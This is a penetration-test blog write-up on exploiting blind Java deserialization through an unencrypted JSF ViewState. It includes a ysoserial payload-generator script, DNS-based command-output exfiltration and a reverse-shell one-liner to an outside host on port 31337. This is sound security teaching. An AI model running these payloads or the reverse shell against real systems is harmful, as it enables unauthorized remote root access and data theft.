Tricking blind Java deserialization for a treat

During a black-box penetration test we encountered a Java web application which presented us with a login screen. Even though we managed to bypass the authentication mechanism, there was not much we could do. The attack surface was still pretty small, there were only a few things we could tamper with.

1. Identifying the entry point

In the login page I noticed a hidden POST parameter that was being sent for every login request:

<input type="hidden" name="com.ibm.faces.PARAM" value="rO0..." />

The famous Base64 rO0 (ac ed in HEX) confirmed us that we were dealing with a Base64 encoded Java serialized object. The Java object was actually an unencrypted JSF ViewState. Since deserialization vulnerabilities are notorious for their trickiness, I started messing with it.

2. Fuzzing the input

2.1 A few unlucky attempts

At this point, I was not certain about the underlying operating system. Firing up ysoserial, I generated a few payloads that would either ping us, read a file or cause a delay in response. These include:

Linux payloads:

 ping -c 1 server.local
 cat /etc/passwd
 sleep 5

Windows payloads:

 ping -n 1 server.local
 type C:\Windows\win.ini
 timeout 5

No success though. No ping or DNS request to our server. The application would always respond with a HTTP 500 Internal Server Error and throw a ServletException, no other output provided. The response came right away, no delay.

2.2 Bruteforcing our way in

As there is no way to know for sure which payload (gadget) will work, I had to automate the process. I wrote a quick and dirty Python script that will generate an Intruder-friendly file containing all the payloads. I kept a few things in mind:

  • Select only payloads (gadgets) that accept a full OS command as a parameter. No need (at the moment) to support all of them. This resulted in a few ysoserial payloads getting removed.
  • Once the payload is triggered, I wanted to know which one did the trick and the operating system it was run on.
  • Since I didn’t want to mess with requests (add support for GET, POST, cookies, HTTP auth etc.), I wanted to generate the payloads in a newline-separated text file that can be imported as a payload in Burp’s Intruder.

The code is below:


import os
import base64

payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'Myfaces1', 'ROME', 'Spring1', 'Spring2']
def generate(name, cmd):
    for payload in payloads:
        final = cmd.replace('REPLACE', payload)
        print 'Generating ' + payload + ' for ' + name + '...'
        command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
        result = command.read()
        command.close()
        encoded = base64.b64encode(result)
        if encoded != "":
            open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

The generate function takes two arguments: the first one is appended to the file name (e.g. windows_intruder.txt), the second one is the command to be executed. I opted for a ping to our server. The application should ping the following subdomain:

{{OS}}.{{PAYLOAD}}.server.local

Thus confirming both the OS and the gadget that successfully worked.

3. Exploiting

3.1 Confirming the vulnerability

I started generating the payloads:

Fired up all payloads using Burp’s Intruder:

And checked the DNS query log on our server:

root@server.local:-# tail -f /var/log/named/query.log
31-Oct-2017 13:37:00.000 queries: info: client y.y.y.y#61663 (nix.CommonsCollections1.server.local) : query: nix.CommonsCollections1.server.local IN A -ED (x.x.x.x)
31-Oct-2017 13:37:01.000 queries: info: client y.y.y.y#53844 (nix.CommonsCollections6.server.local) : query: nix.CommonsCollections6.server.local IN A -ED (x.x.x.x)

So we killed two birds with one stone: we now know the system is Linux based and the following gadgets allow us to execute arbitrary code: CommonsCollections1 and CommonsCollections6.

3.2 Extracting data

Before attempting to create a risky back-connection to us (HTTP, TCP etc.), I decided to try to extract some data and thus confirm it was really a remote command execution going on there (i.e. an IDS decoding the base64 encoded value and parsing the URLs inside could also make a DNS request – a little far fetched since it should fire for all payloads, but you don’t see a RCE every day). Using CommonsCollections1 gadget, I generated two payloads that used the following commands:

`whoami`.exp.server.local 
$(whoami).exp.server.local

Unfortunately the logs were populated with:

root@server.local:-# tail -f /var/log/named/query.log
31-Oct-2017 13:37:00.000 queries: info: client y.y.y.y#56055 (`whoami`.exp.server.local) : query: `whoami`.exp.server.local IN A -ED (x.x.x.x)
31-Oct-2017 13:37:00.000 queries: info: client y.y.y.y#61636 (\$\(whoami\).exp.server.local) : query: \$\(whoami\).exp.server.local IN A -ED (x.x.x.x)

Command substitution does not seem to work for some reason. After several failed attempts, I decided to take a look at the CommonsCollections1 and CommonsCollections6 gadgets available here.

Thanks to the authors, the full gadget chain is written as a comment inside the code. We can quickly notice the following:

CommonsCollections1

... SNIP ...
InvokerTransformer.transform() 
    Method.invoke() 
        Runtime.exec()

CommonsCollections6

... SNIP ...
org.apache.commons.collections.functors.InvokerTransformer.transform()
    java.lang.reflect.Method.invoke()
        java.lang.Runtime.exec()

Both payload’s shell commands end up executed by Java’s Runtime.exec(). We know that Runtime.exec() does not behave like a normal shell so we have to fiddle with the payload. Thankfully, the previously mentioned article provides us with a fully working example. The final command should look like this:

sh -c $@|sh . echo ping $(whoami).exp.server.local

3.3 Got rO0t?

We manually generate the payload using ysoserial:

java -jar ysoserial.jar CommonsCollections1 'sh -c $@|sh . echo ping $(whoami).exp.server.local' | base64 | tr -d "\n"

URL encode the payload and send it. Let’s check our server’s DNS logs again:

root@server.local:-# tail -f /var/log/named/query.log
31-Oct-2017 13:37:00.000 queries: info: client y.y.y.y#40350 (root.exp.server.local) : query: root.exp.server.local IN A -ED (x.x.x.x)

Looks like it’s our lucky day. We got remote, unauthenticated root command execution. Not that we haven’t seen this one too many times.

Of course we took our chances and tried to get a reverse shell:

java -jar ysoserial.jar CommonsCollections1 'sh -c $@|sh . echo bash -i >& /dev/tcp/x.x.x.x/31337 0>&1' | base64 | tr -d "\n"

I’ll let you guess if it worked or not. 🙂

4. Takeaways

I’ll list a few things to be kept in mind when exploiting Java deserialization bugs:

  • don’t give up after a few failed attempts. Java deserialization is quite tricky, make sure you exhaust all possibilities (payloads, commands) before moving on.
  • external traffic is not always allowed. You have to be creative sometimes.
  • make sure you don’t forget to URL encode the payloads generated by ysoserial. Intruder takes care of that, Repeater does not encode all necessary characters (even if you paste it in the Params tab).
  • check out the Java deserialization plugins for Burp Suite. Some will passively identify serialized Java objects, some will help you with the exploitation.

Have fun!

2 comments

Leave a Reply